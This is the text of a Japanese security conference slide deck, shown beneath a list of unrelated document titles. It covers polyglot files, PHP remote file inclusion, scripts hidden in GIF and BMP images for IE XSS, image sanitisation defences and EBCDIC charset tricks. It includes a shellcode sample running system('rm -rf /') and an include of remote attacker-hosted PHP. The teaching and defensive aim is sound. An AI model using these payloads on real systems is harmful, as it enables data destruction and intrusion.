PowerPoint Presentation



Similar documents
PowerPoint プレゼンテーション

SXF 仕 様 実 装 規 約 版 ( 幾 何 検 定 編 ) 新 旧 対 照 表 2013/3/26 文 言 変 更 p.12(1. 基 本 事 項 ) (5)SXF 入 出 力 バージョン Ver.2 形 式 と Ver.3.0 形 式 および Ver.3.1 形 式 の 入 出 力 機 能 を

Microsoft Word - 不正アクセス行為の禁止等に関する法律等に基づく公安

¥ƥ­¥¹¥ȥ¨¥ǥ£¥¿¤λȤ¤˽

「災害用伝言板(web171)」の提供について~「災害用ブロードバンド伝言板(web171)」に新機能を追加しリニューアル~

改 版 履 歴 版 数 日 付 内 容 担 当 V /4/1 初 版 NII

KINGSOFT Office 2016 動 作 環 境 対 応 日 本 語 版 版 共 通 利 用 上 記 動 作 以 上 以 上 空 容 量 以 上 他 接 続 環 境 推 奨 必 要 2

Microsoft Word - tb01.doc

TIPS - 棚 割 りを 開 始 するまで Liteを 起 動 し 企 業 情 報 の 追 加 を 行 い 棚 割 を 行 う 企 業 の 追 加 をして 下 さい 企 業 情 報 の 追 加 時 に エラーメッセージが 表 示 された 場 合 別 途 TIPS トラブルが 発 生 した 場 合

参加表明書・企画提案書様式

為 が 行 われるおそれがある 場 合 に 都 道 府 県 公 安 委 員 会 がその 指 定 暴 力 団 等 を 特 定 抗 争 指 定 暴 力 団 等 として 指 定 し その 所 属 する 指 定 暴 力 団 員 が 警 戒 区 域 内 において 暴 力 団 の 事 務 所 を 新 たに 設

Flash基礎Chapter1_3稿.indd

<4D F736F F D E598BC68A8897CD82CC8DC490B68B7982D18E598BC68A8893AE82CC8A C98AD682B782E993C195CA915B C98AEE82C382AD936F985E96C68B9690C582CC93C197E1915B927582CC898492B75F8E96914F955D89BF8F915F2E646F6

Microsoft Word - 第3章.doc

<4D F736F F D203193FA8AD45F95CA8E86325F89898F4B315F94F093EF8AA98D AD97DF914F82CC8FEE95F182CC8EFB8F C28E8B89BB2E646F63>

Microsoft Word - 資料5-1_資料掲載_ver docx

タグの 内 側 で 関 数 を 定 義 してタグ 側 で 実 行 することもできます <TITLE>JavaScript サンプル</TITLE> function write(str) { document.write(str); } write('hello World!'); 上 例 のように

検 討 検 討 の 進 め 方 検 討 状 況 簡 易 収 支 の 世 帯 からサンプリング 世 帯 名 作 成 事 務 の 廃 止 4 5 必 要 な 世 帯 数 の 確 保 が 可 能 か 簡 易 収 支 を 実 施 している 民 間 事 業 者 との 連 絡 等 に 伴 う 事 務 の 複 雑

登 載 システム 操 作 説 明 Ⅰ. 登 載 システムでの 公 開 までの 流 れ Ⅱ. 基 本 操 作 Ⅲ. 推 奨 動 作 環 境 2

<4D F736F F D204D46834E A6D92E8905C8D905F93B193FC819593FA8E9F95D C5292E646F63>

別 紙 釧 路 公 立 大 学 ホームページリニューアル 業 務 CMS 要 件 一 覧 NO ( 大 分 類 ) NO ( 中 分 類 ) NO ( 小 分 類 ) 3 静 的 HTML 作 成 4 HTMLソース 直 接 編 集 5 CSSソース 直 接 編 集 6 画 像 掲 載 7 アクセシ

2 Wee とは Wee はホームページの 更 新 ツールです Wee は サイトの 枠 組 みをWeb 製 作 業 者 が 作 成 し 更 新 は お 客 様 に 自 由 にしていただこうというコンセプトの 製 品 です インターネットに 繋 がる 場 所 ならどこからでも ブラウザでホームページ

各 種 調 査 書 様 式 の 操 作 Q12 調 査 書 様 式 をダウンロードしようとしたが エラー 表 示 が 出 て 取 得 出 来 ません 調 査 書 様 式 の 公 開 直 後 は アクセスが 集 中 し ダウンロードの 際 に エラーが 出 ることがあります 時 間 をおいて 再 度

スライド 1

ボタンをクリックします ( 警 告 が 表 示 されない 場 合 もあります ) 9 画 面 に Win SFX32M V と 表 示 されますので 保 存 する 箇 所 を 選 択 し OK をクリックしてください 選 択 した 箇 所 にインストールしたフォルダが 保 存 され

スライド 1

Microsoft PowerPoint - WEBディスクご利用の手引きv1.2.ppt

スライド 0

BizDataBank とは インターネット 上 (クラウド)に 大 切 なデータを 保 存 することが 出 来 る 便 利 なアプリケーション (オンラインストレージ)です 本 資 料 について BizDataBank サービスは マイナーバージョンアップ 等 もあるため 実 際 のクライアントと

公 的 年 金 制 度 について 制 度 の 持 続 可 能 性 を 高 め 将 来 の 世 代 の 給 付 水 準 の 確 保 等 を 図 るため 持 続 可 能 な 社 会 保 障 制 度 の 確 立 を 図 るための 改 革 の 推 進 に 関 する 法 律 に 基 づく 社 会 経 済 情

スライド 1

MetaMoJi ClassRoom/ゼミナール 授業実施ガイド

CharacterSets.book Japanese

Microsoft PowerPoint _リビジョンアップ案内_最終.pptx

スライド 1

C.1 共 有 フォルダ 接 続 操 作 の 概 要 アクセスが 許 可 されている 研 究 データ 交 換 システムの 個 人 用 共 有 フォルダまたは メーリングリストの 共 有 フォルダに 接 続 して フォルダを 作 成 したり ファイル をアップロードまたはダウンロードしたりすることがで

目 次 JAVIS Appli の 基 本 機 能... 3 JAVIS Appli について... 3 音 声 確 認 機 能 JAVIS Appli( 有 償 版 )の 機 能... 4 音 声 で 読 みの 確 認 をする... 4 辞 書 機 能... 5 単 語 を 登 録 する... 5

よりメンバーに 配 布 した 第 2 期 は 第 1 期 に 開 発 した 大 気 時 間 値 集 計 解 析 ツールをベースに 機 能 改 良 を 行 った 国 立 環 境 研 究 所 では メンバーから 寄 せられる 要 望 使 い 勝 手 に 関 する 意 見 感 想 不 具 合 発 生 など

スライド 1

自 己 紹 介 企 業 組 織 のネットワークにセキュリティー 機 器 を 配 置 発 生 するアラートをSOCへ 集 約 アラートをSOCが 分 析 し 必 要 に 応 じてお 客 様 へご 連 絡 対 応 を 助 言 お 客 様 ネットワーク Security Operation Center

2. 更 新 内 容 下 記 機 能 改 善 仕 様 変 更 不 具 合 対 応 を 行 いました 動 作 環 境 の 追 加 3.1. 受 講 者 / 管 理 者 クライアントの 動 作 環 境 に 下 記 の OS と Web ブラウザを 追 加 しました Windows 10 Microsof

2 シ ス テ ム が 2 4 時 間 日 安 定 的 に 稼 働 す る 機 材 と 設 置 環 境 を 整 え る こ と ( 2 ) ソ フ ト ウ ェ ア 1 既 に 導 入 実 績 の あ る CMS で あ る こ と 2 Windows7(Windows IE1 1 ) で

入札公告 機動装備センター

1. 目 次 1 目 次 7 会 員 検 索 申 込 2 ログイン 方 法 ( 初 回 ) 8 活 動 状 況 ( 申 込 申 受 お 見 合 い 管 理 ) 3 ログイン 方 法 (2 回 目 以 降 ) 9 活 動 状 況 ( 不 成 立 履 歴 削 除 ) 4 パスワードを 忘 れた 時 は

< F2D32318E9197BF E F188B397CD97658AED8B4B>

している 5. これに 対 して 親 会 社 の 持 分 変 動 による 差 額 を 資 本 剰 余 金 として 処 理 した 結 果 資 本 剰 余 金 残 高 が 負 の 値 となるような 場 合 の 取 扱 いの 明 確 化 を 求 めるコメントが 複 数 寄 せられた 6. コメントでは 親

(3) 善 通 寺 市 の 状 況 善 通 寺 市 においては 固 定 資 産 税 の 納 期 前 前 納 に 対 する 報 奨 金 について 善 通 寺 市 税 条 例 の 規 定 ( 交 付 率 :0.1% 限 度 額 :2 万 円 )に 基 づき 交 付 を 行 っています 参 考 善 通 寺

第1回

1

目 次 1. Internet Explorer の 設 定 3 2. NetISMS ナビゲータへのログイン ActiveX コントロールのインストール Internet Explorer 以 外 の 設 定 18 1

WEB版「新・相続対策マスター」(ご利用の手引き)

<4D F736F F D208ED089EF95DB8CAF89C193FC8FF38BB CC8EC091D492B28DB88C8B89CA82C982C282A282C42E646F63>

Cloud Disk とは インターネット 上 (クラウド)に 大 切 なデータを 保 存 することが 出 来 る 便 利 なアプリケーション (オンラインストレージ)です 本 資 料 について Cloud Disk サービスは マイナーバージョンアップ 等 もあるため 実 際 のクライアントと 本

( 別 紙 ) 以 下 法 とあるのは 改 正 法 第 5 条 の 規 定 による 改 正 後 の 健 康 保 険 法 を 指 す ( 施 行 期 日 は 平 成 28 年 4 月 1 日 ) 1. 標 準 報 酬 月 額 の 等 級 区 分 の 追 加 について 問 1 法 改 正 により 追 加

改 版 履 歴 版 数 日 付 内 容 担 当 V /4/1 初 版 NII

目 次 1. はじめに 3 2. システム 要 件 4 3. HDD Password Tool のインストール 5 Windows の 場 合 5 Mac の 場 合 8 4. HDD Password Tool の 使 い 方 HDD Password Tool を 起 動 する

研究者情報データベース

Q IFRSの特徴について教えてください

PowerPoint プレゼンテーション


メール 受 信 画 面 のレイアウトを 変 更 することができます ここでは 初 期 設 定 のレイアウトで 表 示 されているボタ ンやマークについて 解 説 します メール 一 覧 画 面 には 受 信 したメールが 一 覧 表 示 されます メール 受 信 タブをクリックすると 受 信 箱 フ

< F2D A C5817A C495B6817A>

川崎市木造住宅耐震診断助成金交付要綱

2016 年 度 情 報 リテラシー 変 更 された 状 態 同 様 に 価 格 のセルを 書 式 設 定 する 場 合 は 金 額 のセルをすべて 選 択 し [ 書 式 ]のプルダウンメニューか ら[ 会 計 ]を 選 択 する すると が 追 加 され 金 額 としての 書 式 が 設 定 さ

二 資本金の管理

ログイン ブラウザから TDPOST へアクセス ログイン GC-(お 客 様 名 )フォルダを 選 択 各 作 業 へ ブラウザを 起 動 します (Internet Explorer Safari Firefox など) 下 記 アドレスをブラウザのアドレス 入 力 欄 に 入 力 します ht

弁護士報酬規定(抜粋)

の 購 入 費 又 は 賃 借 料 (2) 専 用 ポール 等 機 器 の 設 置 工 事 費 (3) ケーブル 設 置 工 事 費 (4) 防 犯 カメラの 設 置 を 示 す 看 板 等 の 設 置 費 (5) その 他 設 置 に 必 要 な 経 費 ( 補 助 金 の 額 ) 第 6 条 補

PowerPoint プレゼンテーション

通 知 カード と 個 人 番 号 カード の 違 い 2 通 知 カード ( 紙 )/H27.10 個 人 番 号 カード (ICカード)/H28.1 様 式 (おもて) (うら) 作 成 交 付 主 な 記 載 事 項 全 国 ( 外 国 人 含 む)に 郵 送 で 配 布 希 望 者 に 交

<8BB388F58F5A91EE82A082E895FB8AEE967B95FB906A>

PowerPoint プレゼンテーション

Microsoft Word - 佐野市生活排水処理構想(案).doc

別 紙 第 号 高 知 県 立 学 校 授 業 料 等 徴 収 条 例 の 一 部 を 改 正 する 条 例 議 案 高 知 県 立 学 校 授 業 料 等 徴 収 条 例 の 一 部 を 改 正 する 条 例 を 次 のように 定 める 平 成 26 年 2 月 日 提 出 高 知 県 知 事 尾

PDF閲覧制限システム(簡易版)概説書

サイボウズ リモートサービス ユーザーマニュアル


スライド 1

ご 利 用 の 前 に 手 順 初 回 ご 利 用 時 に 必 ずご 確 認 ください ご 利 用 の 前 に (ご 利 用 環 境 の 確 認 ) P アクセス 方 法 (IMAGE WORKSサイトへアクセス) P 初 期 設 定 (JREのインストール) P

目 次 ログインする 前 に... 4 メンバー 管 理 編 ( 管 理 者 )... 5 ログインする... 6 トップページについて... 7 メンバー 管 理 をする... 8 メンバー 管 理 画 面 について 医 療 機 関 指 定 新 規 追 加 指 定...

<4D F736F F D2095BD90AC E D738FEE816A939A905C91E D862E646F63>

Microsoft Word - i_navi.txt

治 験 実 施 管 理 システム NMGCP 向 け Excel 形 式 プロトコール 作 成 手 順 書 V4.0.3 対 応 版 第 1 版 株 式 会 社 富 士 通 アドバンストエンジニアリング All Rights Reserved,Copyright 株 式 会 社 富 士 通 アドバン

Microsoft Word - 311Tools_END

項 目 設 定 設 置 可 能 項 目 数 100 項 目 投 票 フォームの 設 置 可 能 投 票 項 目 数 1 項 目 (10 選 択 肢 ) 必 須 項 目 設 定 条 件 項 目 設 定 添 付 ファイル 合 計 容 量 入 力 項 目 を 必 須 項 目 に 設 定 できます フォーム

小 売 電 気 の 登 録 数 の 推 移 昨 年 8 月 の 前 登 録 申 請 の 受 付 開 始 以 降 小 売 電 気 の 登 録 申 請 は 着 実 に 増 加 しており これまでに310 件 を 登 録 (6 月 30 日 時 点 ) 本 年 4 月 の 全 面 自 由 化 以 降 申

節 実 施 期 間 実 施 級 実 施 期 間 情 報 処 理 第 回 は 級 と 級 のみ 実 施 各 期 間 内 回 の 受 験 となります C 言 語 Java Visual Basic ワードプロセッサ 第 回 は 級 のみ 実 施 第 回 は 級 のみ 実 施 第 回 は 級 と 級 のみ

1.システム 構 成 1.1 ハードウェア 及 ぶ 基 本 ソフトウェア (1) システム 構 成 の 基 本 方 針 システム 構 成 のコンセンプトについて 2 頁 以 内 で 記 述 してください 1ハードウェア 構 成 のコンセプト

音 声 認 識 の 種 類 方 式 特 定 話 者 方 式 ( 特 定 話 者 での 学 習 が 必 要 ) 不 特 定 話 者 方 式 ( 学 習 不 要 ) 種 類 連 続 認 識 単 語 認 識 ( 限 定 語 認 識 ) 連 続 認 識 単 語 認 識 ( 限 定 語 認 識 ) 例 ) W

ozzio drive とは インターネット 上 (クラウド)に 大 切 なデータを 保 存 することが 出 来 る 便 利 なアプリケ ーション(オンラインストレージ)です 本 資 料 について ozzio drive サービスは マイナーバージョンアップ 等 もあるため 実 際 のクライアン ト

[2] 控 除 限 度 額 繰 越 欠 損 金 を 有 する 法 人 において 欠 損 金 発 生 事 業 年 度 の 翌 事 業 年 度 以 後 の 欠 損 金 の 繰 越 控 除 にあ たっては 平 成 27 年 度 税 制 改 正 により 次 ページ 以 降 で 解 説 する の 特 例 (

取扱説明書

官 庁 営 繕 事 業 の 事 後 評 価 表 事 業 名 かいじょうほあんだいがっこう(そうごうじっしゅうとう) 海 上 保 安 大 学 校 ( 総 合 実 習 棟 ) 実 施 箇 所 呉 市 若 葉 町 5-1 該 当 基 準 事 業 完 了 後 3 年 間 が 経 過 した 事 業 事 業 諸

量子鍵配送プロトコルの安全性証明の自動化に向けて

別 添 1 提 案 書 等 作 成 要 領 1 調 達 件 名 PIO-NET2015 に 係 る 運 用 等 支 援 業 務 一 式 2 提 案 書 等 の 提 出 本 調 達 に 係 る 提 案 書 等 は PIO-NET2015 に 係 る 運 用 等 支 援 業 務 一 式 調 達 仕 様

<4D F736F F D C97F195CF8AB DEC90E096BE8F912091E6312E313294C52E646F63>

マネジメントシステム 認 証 規 則 目 次 1 章 総 則 1.1 一 般 2 章 マネジメントシステムの 登 録 2.1 一 般 2.2 登 録 原 簿 2.3 登 録 証 書 2.4 登 録 マークの 使 用 及 び 認 証 の 引 用 2.5 登 録 維 持 2.6 登 録 継 続 2.7

「はぴeみる電」をご利用するにあたって

アドイン翻訳について

別冊資料-11

Transcription:

Polyglot プログラミング サイボウズ ラボ 株 式 会 社 TAKESAKO <takesako@shibuya.pl>

Polyglotプログラミング 講 演 概 要 Polyglotとは 複 数 の 語 処 理 系 で 実 できる つのプログ ラムのことです 例 えば print"hello ",0?"Ruby":"Perl","! n" の1 プ ログラムはPerlとRubyでそれぞれ 異 なる 出 結 果 を 返 し ます これは 各 語 における 真 偽 値 の 扱 い の 違 いを 利 しています C/C++ Perl Ruby Python PHP JavaScript Shell BAT x86など... 世 の 中 にはたくさんのプログラ ミング 語 が 存 在 します 学 のうちにどんなプログラ ミング 語 を 勉 強 すれば 将 来 に 役 つのか いくつかの Polyglotを 読 み 解 きながらセキュリティ Web 業 界 への 応 を 考 察 します

紹 介 迫 良 範 id:takesako 0x20 歳 広 島 県 出 所 属 Cybozu Labs, Inc. セキュリティ&プログラミングキャンプ2009 講 師 第 30 回 U-20プログラミングコンテスト 審 査 委 員 Microsoft MVP award 2008 - Developer Security Shibuya Perl Mongers 2 代 リーダー オライリー Perlクックブック 第 2 版 監 訳 など 松 浦 先 生 のご 紹 介 ( 情 報 科 学 若 手 の 会 でもお 世 話 になりました)

第 1 部

Polyglot プログラミング

LEVEL 1 for beginners

JavaScript.GIF It can works on IE/Firefox/Opera. Valid ʻGIF89aʼ file <img src= alert0.gif /> Valid ʻJavaScriptʼ file <script src= alert0.gif language= JavaScript >

JavaScript x GIF

<script src="nipodan24.gif" language="javascript"> </scirpt><img src="nipodan24.gif" />

LEVEL 2 easy hacks

GIF89a Polyglot HTML/CSS & JavaScript & Perl in GIF

Polyglot = Chimera? Human.Dog

JavaScript in GIF GIF89a(q/*.../);sub GIF89a{print "Hello Perl!"} END #*/=1);function GIF89a(){alert("Hello JavaScrpt!")} /*<body style=visibility:hidden> <div style=position:relative;visibility:visible> <h1>hello HTML!</h1><!............ ><img src=?> <script src=# language=javascript></script></div> */// ;

HTML/CSS in GIF GIF89a(q/*.../);sub GIF89a{print "Hello Perl!"} END #*/=1);function GIF89a(){alert("Hello JavaScrpt!")} /*<body style=visibility:hidden> <div style=position:relative;visibility:visible> <h1>hello HTML!</h1><!............ ><img src=?> <script src=# language=javascript></script></div> */// ;

Perl in GIF GIF89a(q/*.../);sub GIF89a{print "Hello Perl!"} END #*/=1);function GIF89a(){alert("Hello JavaScrpt!")} /*<body style=visibility:hidden> <div style=position:relative;visibility:visible> <h1>hello HTML!</h1><!............ ><img src=?> <script src=# language=javascript></script></div> */// ;

Console demo

LEVEL 3 normal hacks

HTML Conditional comments 2.0 IE <!--[if IE]>'IE'<![endif]--> Firefox <!-- --*>'Firefox'<!-- --> Safari <!-- ---!---!>'Safari'<!- --> Not IE <![if!ie]>this is not IE!<![endif]> <![if!ie]><!-->'konqueror'<!--><![endif]>

LEVEL 4 all.your.browser.are.belong.to.us

HTML Browser Detection

HTML Quiz Q1. What will you see? (on your browser) <img src= 1.gif src= 2.gif > Answers. (1) 1.gif (2) 2.gif (3) N/A

Q2. Whatʼs this? <img /src src{ x00} src{ x0c} src /> = 1.gif = 2.gif = 3.gif = 4.gif Answers. (1) 1.gif (2) 2.gif (3) 3.gif (4) 4.gif ie Safari firefox others

print<<eof; <img /src x00="ie.gif" /''src x00="firefox1_5.gif" /''src="firefox2_0.gif" /""src="gecko_others.gif" "s x00rc="safari2.gif" "src="safari3.gif" ""src="konqueror.gif" src x00="w3m.gif" src x0c="opera.gif" src="others.gif" src="lynx.gif" /> EOF

http://wafful.org

It can detect Konqueror, Safari2!

No JavaScript & No CSS hacks

lynx

w3m

Mozilla/5.0 (PLAYSTATION 3; 1.00) others.gif

第 1 部 完

第 2 部

第 2 部 イメージファイト! ImageFight 画 像 に 埋 め 込 まれたPHP XSS 攻 撃 コードと 戦 う5つの 方 法 画 像 はイメージです http://wafful.org/

イメージファイトとは? 背 景 PHPの 攻 撃 コードが 隠 された 画 像 ファイルが ホスティングサイトで 発 された GIF,PNG,JPEG,BMP 形 式 の 画 像 ファイルには PHPのRFI 攻 撃 で 使 されるコードやJavaScript のプログラムなどを 埋 め 込 むことができます 画 像 に 埋 め 込 まれた 攻 撃 コードと 戦 う5つの 法 について 解 説 し 安 全 な 画 像 アップローダの 実 装 について 考 察 します

Q. Webアプリの 脆 弱 性 を 作 らない 秘 訣 とは?

A. IPAさんの 回 答

なぜCVEでPHPアプリの 脆 弱 性 が 多 いのか? php.ini の 設 定 に 依 存 アプリケーションの 脆 弱 性? サーバ 管 理 者 の 設 定 の 問 題? そもそもPHPが(ry 最 近 の 事 情 register_globals=onよくないよね という 認 識 が 普 及 最 近 のPHPアプリはregister_globals=off 前 提 で 書 かれているため on の 環 境 を 考 慮 していない わざわざregister_globals=onに 設 定 してアプリ の 脆 弱 性 を 探 して 報 告 している( CVEに 露 出 )

PHP の register_globals 問 題 http://www.example.com/example.php?a=1&b=2 php.iniの 設 定 register_globals=off の 場 合 $HTTP_GET_VARS['a'] = $_GET['a'] = 1; $HTTP_GET_VARS['b'] = $_GET['b'] = 2; register_globals=on の 場 合 さらに $a = 1; $b = 2; 初 期 化 していない 変 数 の 値 が 攻 撃 者 の 手 によって 書 き 換 えられる

resiter_globals 対 策 コード( 例 ) php.ini の 設 定 をその 都 度 確 認 if (ini_get('resiger_globals')) { // trigger_error( you must register_globals=off, E_UESR_ERROR); exit; }

構 成 (1) PHPを 避 ける (2) 画 像 攻 撃 (3) 対 策 イメージファイト

PHP の fopen 関 数 リモートファイルを 簡 単 に 読 み 込 める <?php $handle = fopen("file.txt", "r"); $handle = fopen("/home/rasmus/file.gif", "wb"); $handle = fopen("http://www.example.com/", "r"); $handle = fopen("ftp://user:pass@example.com/x.txt", "w");?> php.ini の 設 定 allow_url_fopen = on ファイルのようにURLオブジェクトをアクセスできるようになる

PHP の include 関 数 同 様 に include 関 数 でも http://と 指 定 でき る <?php include "en/file.php"; include "http://www.example.com/en/file.php"; require "ja/file.php"; require "http://www.example.com/ja/file.php";?> php.ini の 設 定 allow_url_fopen = on allow_url_include = on (PHP5.2.0 以 降 )

PHP 特 有 の 脆 弱 性 とは? ディレクトリ 名 を 変 数 にしている 場 合 <?php include "en/message.php"; include "ja/message.php"; include "$LANG/message.php";?> もしも 攻 撃 者 が 変 数 を 上 書 きできたら $LANG = "http://www.example.com/lib/"; 外 部 サイト( 攻 撃 者 の 管 理 下 )にある PHPのコードがダウンロード 実 行 される

Remote File Inclusion Attack

Remote File Inclusion 脆 弱 性 の 脅 威 任 意 のシェルコードが 実 可 能 http://www.example.com/lib/shellcode.php <?php phpinfo(); system("rm rf /", $retval);?> 攻 撃 者 の 用 意 したPHPプログラム

そもそもPHPはHTML 埋 め 込 み 語 Include( shellcode.inc ); <html> しかし PHP 処 理 系 にとっては : HTMLであるかどうかは 見 ていない : <?php phpinfo(); system("rm rf /", $retval);?> : :

<?php?> 以 外 にはバイナリを 組 み 込 める Include( shellcode.gif ); GIF89a : バイナリ 画 像 データ : バイナリ 画 像 データ <?php phpinfo(); system("rm rf /", $retval);?> : :

phpinfo.gif (PHPのコードを 含 んだGIF 画 像 ファイル)

デモ include.php <h1>php/gif include demo</h1> <?php include("./phpinfo.gif");?> GIFファイルをPHPとして 実 行

実 行 結 果

PHPを 避 けていれば 本 当 に 大 丈 夫 なのか? (; Д`)

(2) 画 像 攻 撃

こんな 経 験 ありませんか? Internet Explorer で 画 像 を 直 接 開 こうとし たとき BMP 形 式 の ファイルが 文 字 化 け

(1) IE 特 有 の XSS 問 題 画 像 ファイル 中 のスクリプトが 実 される ファイルの 先 頭 256 byte の 内 容 を て HTMLのタグっぽいものが 含 まれていると Content-Typeや 拡 張 を 無 視 して HTMLとして 解 釈 して 表 される 結 果 画 像 に 埋 め 込 まれたスクリプトが 実 され る 問 題 の 発 しやすいファイル テキストファイル(Content-Type: plain/text) 画 像 ファイル(PNG 形 式 BMP 形 式 ) GIF 形 式 JPEG 形 式 は 特 定 の 条 件 を 満 たす 必 要 アリ

(IE Bitmap XSS)

IEでの 実 行 結 果

Internet Explorer のセキュリティ 設 定 ただしデフォルトが 有 効 にする のまま

IEを 避 けていれば 本 当 に 大 丈 夫 なのか?

(2) valid JS/GIF attacks 正 しいGIF 画 像 でもあるJavaScriptファイル JavaScriptとして 解 釈 されるGIF 画 像 ファイル IE/Firefox/Operaでも 動 作 <script src= alert0.gif language= JavaScript >

じゃ どうすればいいの? (つД`)

(3) 対 策 イメージファイト

画 像 ファイルのサニタイズ 法 5つの 方 法 1. すべてJPEG 形 式 で 圧 縮 (ダウングレード) 2. 画 像 のコメント 領 域 を 削 除 する 3. 再 エンコード(GIF,PNG 形 式 の 場 合 ) 4. サニタイGIF(sanitigif) 新 提 案 5. イメージファイト(mod_imagefight) 手 法 画 像 に 埋 め 込 まれた 攻 撃 コードを 頑 張 って 取 り 除 きたい

1. すべてJPEG 形 式 で 圧 縮 アップロードされた 画 像 GIF,PNG,JPEG,BMP 形 式 サーバに 保 存 するとき すべてJPEG 形 式 で 圧 縮 して 保 存 メリット( ) 画 像 ファイル 中 の 攻 撃 コードが 壊 れる 圧 縮 率 をランダムにしておくとなお 良 い デメリット( ) 画 質 が 落 ちる(JPEG 特 有 のモアレ)

2. 画 像 のコメント 領 域 を 削 除 する GIF,PNG,JPEG,BMP 形 式 それぞれの 画 像 中 のコメント 領 域 を 削 除 する メリット( ) 画 質 の 劣 化 がない コメント 領 域 に 書 かれた 攻 撃 コードは 削 除 される 圧 縮 処 理 が 必 要 ないので 処 理 が 軽 い デメリット( ) カラーパレットやビットマップ 領 域 に 書 かれた 攻 撃 コードはそのまま 残 ってしまう 完 全 な 対 策 とは えない(お 勧 めできない)

3. 再 エンコード(GIF,PNG 形 式 の 場 合 ) GIF,PNG 形 式 の 場 合 固 定 パレット( 規 定 の256 )で 再 エンコード メリット( ) 固 定 パレット 中 の 攻 撃 コードは 無 効 になる 画 像 データは 再 エンコードされる( 壊 れる) パレットをランダムにシャッフルするとなお 良 い デメリット( ) 固 定 パレットなので 画 質 が 落 ちる 場 合 がある 再 エンコード( 圧 縮 ) 処 理 を なうので 重 たい

4.サニタイGIF (sanitigif)

攻 撃 を 無 効 にする 魔 法 のコードを 挿 <?php die;?> <plaintext>

JPEGファイル 中 の 撮 影 情 報 が 残 せる CANON EOS Kiss Digital (S/N 560151117)

IE で 画 像 を 直 接 開 けない 問 題 PNG 形 式 /BMP 形 式 のファイルをどうする か?

サニタイピング(sanitipng)で 対 応

画 像 に 挿 するコード JPEG, PNG, JPEG, BMP 共 通 static const char antixss[] = "` "''*/-->-->]]></xmp> n n" "<img src=# style=position:absolute;top:15;left:10;visibility:visible>" "<style>body{font-size:0;visibility:hidden}</style>" "<plaintext style=display:none><?php die;?>";

4. サニタイGIF(sanitigif) 3のデメリットを 改 善 した 式 固 定 パレットなので 画 質 が 落 ちる 場 合 がある ( ) パレットはそのまま 引 き 継 ぐ( ) 再 エンコード( 圧 縮 ) 処 理 を なうので 重 たい ( ) 圧 縮 処 理 を 伴 わない 軽 量 な 法 ( ) 撮 影 情 報 (Exif)をサニタイズする 必 要 あり ( ) Exif 情 報 をそのまま 残 せる 式 ( ) (ほぼ)すべての 画 像 形 式 に 対 応

サニタイズ? サニタイズ? サニタイズ? サニタイズ?

mod_imagefight (イメージファイト)

5. イメージファイト internet 無 毒 化 攻 撃 コードが 含 まれている かもしれない 画 像 安 全 な 画 像 mod_imagefight Apache 2 出 力 フィルタ Webサーバ

mod_imagefight 使 法 httpd.conf( 例 ) LoadModule imagefight_module modules/mod_imagefight.so <Location /> AddOutputFilter ImageFight.png.bmp AddOutputFilter ImageFight.gif.jpg.jpeg AddOutputFilterByType ImageFight image/gif image/jpeg </Location> 拡 張 子 ではなく Content-Type による 指 定 も 可 能

(IE + Fiddler)

IE + Fidder 動 作 画 面 mod_imagefight をインストールしたWebサーバから PNG 画 像 を 読 み 込 んだとき( 動 的 に 画 像 を 書 き 換 え)

mod_imagefight でできること プログラミング 語 に 依 存 Apache2 の OutputFilter モジュールとして 実 装 PHP, Perl, Python, Ruby でも ok 動 的 ファイルもOK CGIで 動 的 に 出 される 画 像 ファイルもok 既 存 のプログラム 本 体 の 書 き 換 えずに 対 応 可 画 像 中 に 含 まれる 攻 撃 コードを 無 効 化 する IE 特 有 の XSS をサーバ 側 で 無 効 化 JavaScriptとして 解 釈 されることを 無 効 化 おまけ:PHPのRFI 攻 撃 を 無 効 化 するコードを 挿 現 時 点 ではコンセプト 実 装 の 段 階 試 作 版 のためプロダクション 環 境 では 使 しない

第 2 部 完

第 3 部

EBCDIC Polyglot 字 エンコーディング を 利 した Polyglot

cp037.html

Quiz. What will you see? JavaScript: alert(ʻhello ASCIIʼ); #?

EBCDIC cp037 (Latin-1 Code Page) It works on Internet Explorer! // x07 x07 x0a alert('hello EBCDIC'); /*

EBCDIC Whatʼs this? EBCDIC Extended Binary Coded Decimal Interchange Code a 8-bit character encoding (code page) used on IBM mainframe operating systems such as z/os, OS/390, VM and VSE, OS/400, i5/os... Support Browsers (;charset=cp037) Internet Explorer Safari Not support Google Chrome Firefox Opera

EBCDIC encoding control code ASCII EBCDIC (NUL) 0x00 0x00 ; (NUL) (EOT) 0x04 0x37 ; ( 7 ) (ENQ) 0x05 0x2D ; ( - ) (ACK) 0x06 0x2E ; (. ) (BEL) 0x07 0x2F ; ( / ) (BS ) 0x08 0x16 ; (SYN) (HT ) 0x09 0x05 ; (ENQ) (LF ) 0x0A 0x25 ; ( % ) (CR ) 0x0D 0x0D ; (CR )

EBCDIC encoding symbols ASCII EBCDIC (SPACE) 0x20 0x40 ; ( @ ) (! ) 0x21 0x5A ; ( Z ) ( " ) 0x22 0x7F ; (DEL) ( # ) 0x23 0x7B ; ( { ) ( $ ) 0x24 0x5B ; ( [ ) ( % ) 0x25 0x6C ; ( l ) ( & ) 0x26 0x50 ; ( P ) ( ' ) 0x27 0x7D ; ( } ) ( ( ) 0x28 0x4D ; ( M ) ( ) ) 0x29 0x5D ; ( ] )

EBCDIC encoding digits ASCII EBCDIC ( 0 ) 0x30 0xF0 ; ( ð ) ( 1 ) 0x31 0xF1 ; ( ñ ) ( 2 ) 0x32 0xF2 ; ( ò ) ( 3 ) 0x33 0xF3 ; ( ó ) ( 4 ) 0x34 0xF4 ; ( ô ) ( 5 ) 0x35 0xF5 ; ( õ ) ( 6 ) 0x36 0xF6 ; ( ö ) ( 7 ) 0x37 0xF7 ; ( ) ( 8 ) 0x38 0xF8 ; ( ø ) ( 9 ) 0x39 0xF9 ; ( ù )

EBCDIC encoding alphabet ASCII EBCDIC ( @ ) 0x40 0x7C ; ( ) ( A ) 0x41 0xC1 ; ( Á ) ( B ) 0x42 0xC2 ; ( Â ) ( C ) 0x43 0xC3 ; ( Ã ) : : ( ` ) 0x60 0x79 ; ( y ) ( a ) 0x61 0x81 ; ( ) ( b ) 0x62 0x82 ; ( ) ( c ) 0x63 0x83 ; ( ƒ )

EBCDIC Binary hacks (JavaScript & ELF) ASCII EBCDIC ( " ) 0x22 0x7F ; (DEL) ( á ) 0xE1 0x45 ; ( E ) ( < ) 0x3C 0x4C ; ( L ) ( ã ) 0xE3 0x46 ; ( F ) : : ( " ) 0x22 0x7F ; (DEL) ( ; ) 0x3B 0x5E ; ( ^ ) ( / ) 0x2F 0x61 ; ( a ) ( * ) 0x2A 0x5C ; ( ) (valid JavaScript) ;/* x86 ELF Binary

0x457.html

